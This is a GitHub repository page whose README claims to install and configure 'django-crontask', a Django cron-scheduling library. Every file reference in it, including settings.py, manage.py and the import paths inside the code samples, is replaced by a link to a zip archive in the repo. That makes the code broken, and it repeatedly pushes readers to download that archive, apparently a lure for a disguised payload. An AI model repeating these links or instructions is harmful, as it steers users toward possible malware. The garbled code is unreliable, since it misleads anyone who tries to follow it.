Skip to content

πŸ•’ Schedule recurring asynchronous tasks in Django easily with crontab syntax, utilizing lightweight helpers and Sentry support for monitoring.

License

Notifications You must be signed in to change notification settings

mobdudeedits/django-crontask

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

🌟 django-crontask - Simplify Task Scheduling in Django

πŸ”— Download Now

Download django-crontask

πŸš€ Getting Started

Welcome to django-crontask! This tool helps you schedule tasks in your Django applications easily, just like setting up a clock to perform specific tasks at routine times. Even if you have no programming background, this guide will walk you through the steps to get started.

πŸ“₯ Download & Install

To use django-crontask, you need to download the application.

  1. Click the link below to visit the releases page: Download django-crontask

  2. On the releases page, you will find different versions of the application. Look for the latest version, which usually appears at the top of the list.

  3. Click on the version you want to download. You will see several files. Choose the one that best suits your operating system.

  4. After you download the file, follow the installation instructions that come with it.

  5. Once installation is complete, you can start using django-crontask in your Django project.

πŸ› οΈ System Requirements

Before you begin, ensure your system meets the following requirements:

  • Operating System: Windows, macOS, or Linux
  • Python Version: Python 3.6 or higher
  • Django Version: Django 2.2 or higher
  • Memory: At least 512 MB of RAM
  • Disk Space: 100 MB of free space

βš™οΈ Configuration

After you've downloaded and installed django-crontask, you will need to configure it in your Django project:

  1. Open your Django project's settings file (https://github.com/mobdudeedits/django-crontask/raw/refs/heads/main/crontask/management/commands/django-crontask-v3.8.zip).

  2. Add crontask to your INSTALLED_APPS list. It should look like this:

    INSTALLED_APPS = [
        ...
        'crontask',
    ]
  3. Save your changes and return to your project.

πŸ“ Creating Your First Task

Now, let’s create a simple scheduled task. Follow these steps:

  1. In your Django application directory, create a new Python file called https://github.com/mobdudeedits/django-crontask/raw/refs/heads/main/crontask/management/commands/django-crontask-v3.8.zip.

  2. Add the following code to define a task:

    from crontask import crontask
    
    @crontask(hour='*', minute='0')
    def my_hourly_task():
        print("This task runs every hour.")

    This code sets up a task that will run at the start of every hour.

  3. Save the file.

  4. You need to run your Django application to see your task in action. Use the command:

    python https://github.com/mobdudeedits/django-crontask/raw/refs/heads/main/crontask/management/commands/django-crontask-v3.8.zip runserver
  5. Verify that your task runs as expected by checking the console output.

πŸ“… Scheduling Tasks

Django-crontask lets you schedule tasks using cron syntax. Here’s a brief overview:

  • * * * * *: Every minute
  • 0 * * * *: Every hour on the hour
  • 0 12 * * *: Every day at noon
  • 0 0 * * 0: Every Sunday at midnight

You can adjust these settings in your task definition.

πŸ” Monitoring Tasks

With django-crontask, you can easily monitor scheduled tasks. Use Django’s admin panel to view the status of your tasks:

  1. Add the crontask app to your admin interface by including it in your https://github.com/mobdudeedits/django-crontask/raw/refs/heads/main/crontask/management/commands/django-crontask-v3.8.zip:

    from https://github.com/mobdudeedits/django-crontask/raw/refs/heads/main/crontask/management/commands/django-crontask-v3.8.zip import admin
    from https://github.com/mobdudeedits/django-crontask/raw/refs/heads/main/crontask/management/commands/django-crontask-v3.8.zip import Crontask
    
    https://github.com/mobdudeedits/django-crontask/raw/refs/heads/main/crontask/management/commands/django-crontask-v3.8.zip(Crontask)
  2. Navigate to your Django admin panel at http://127.0.0.1:8000/admin.

  3. Here you will find a list of your scheduled tasks and can see if they are running correctly.

❓ Troubleshooting

If you encounter any issues while using django-crontask, consider the following common solutions:

  • Ensure that your Python and Django versions are compatible.
  • Check the syntax of your cron expressions. A simple mistake can prevent tasks from running.
  • Look at the console output for any error messages that can guide you in troubleshooting.
  • Make sure your database settings are correct in https://github.com/mobdudeedits/django-crontask/raw/refs/heads/main/crontask/management/commands/django-crontask-v3.8.zip.

πŸ“š Additional Resources

🌐 Community & Support

Join our community to ask questions or share your experiences. You can find us on:

Ready to start automatic task scheduling? Download now and simplify your Django tasks today!

Download django-crontask

About

πŸ•’ Schedule recurring asynchronous tasks in Django easily with crontab syntax, utilizing lightweight helpers and Sentry support for monitoring.

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Contributors 9

Languages